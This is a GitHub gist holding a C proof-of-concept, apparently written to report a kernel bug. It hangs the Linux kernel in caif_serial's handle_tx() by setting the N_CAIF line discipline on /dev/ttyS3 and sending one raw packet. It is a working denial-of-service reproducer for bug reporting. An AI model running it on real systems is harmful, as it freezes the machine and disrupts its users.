Skip to content

Instantly share code, notes, and snippets.

@mrpre
Last active February 4, 2026 07:19
Show Gist options
  • Select an option

  • Save mrpre/d9a694cc0e19828ee3bc3b37983fde13 to your computer and use it in GitHub Desktop.

Select an option

Save mrpre/d9a694cc0e19828ee3bc3b37983fde13 to your computer and use it in GitHub Desktop.
caif_deadloop_repro.c
/*
* caif_deadloop_repro.c - Reproduce handle_tx() infinite loop in caif_serial
* Kernel config:
* CONFIG_CAIF=y
* CONFIG_CAIF_TTY=y
* Root cause: Using a TTY with PORT_UNKNOWN type (e.g., /dev/ttyS3 in QEMU)
* causes uart_write_room() to return 1 but uart_write() to return 0,
* because xmit_buf is never allocated for PORT_UNKNOWN ports.
*
* Compile: gcc -o caif_deadloop_repro caif_deadloop_repro.c
* Run: ./caif_deadloop_repro
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <arpa/inet.h>
#define N_CAIF 20
#define TIOCSETD 0x5423
int main(void)
{
int tty_fd, sock_fd;
int ldisc = N_CAIF;
struct sockaddr_ll sll;
unsigned char packet[128];
int ifindex;
char cmd[256];
printf("=== CAIF Deadloop Reproducer (simple) ===\n");
printf("Just send one packet to trigger infinite loop\n\n");
/* Open TTY and set N_CAIF line discipline */
tty_fd = open("/dev/ttyS3", O_RDWR | O_NOCTTY | O_NONBLOCK);
if (tty_fd < 0) {
perror("open /dev/ttyS3");
return 1;
}
if (ioctl(tty_fd, TIOCSETD, &ldisc) < 0) {
perror("ioctl TIOCSETD");
close(tty_fd);
return 1;
}
printf("[+] N_CAIF set on /dev/ttyS3\n");
usleep(50000);
/* Configure network interface */
snprintf(cmd, sizeof(cmd), "ip link set cfttyS3 up 2>/dev/null");
system(cmd);
printf("[+] cfttyS3 interface up\n");
/* Create raw socket */
sock_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0) {
perror("socket");
close(tty_fd);
return 1;
}
ifindex = if_nametoindex("cfttyS3");
if (ifindex == 0) {
perror("if_nametoindex");
close(sock_fd);
close(tty_fd);
return 1;
}
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_protocol = htons(ETH_P_ALL);
memset(packet, 'A', sizeof(packet));
printf("[+] Sending one packet - kernel will hang!\n");
/* This single sendto triggers the infinite loop */
sendto(sock_fd, packet, sizeof(packet), 0,
(struct sockaddr *)&sll, sizeof(sll));
/* Never reaches here if bug is triggered */
printf("[!] Returned - bug not triggered?\n");
close(sock_fd);
close(tty_fd);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment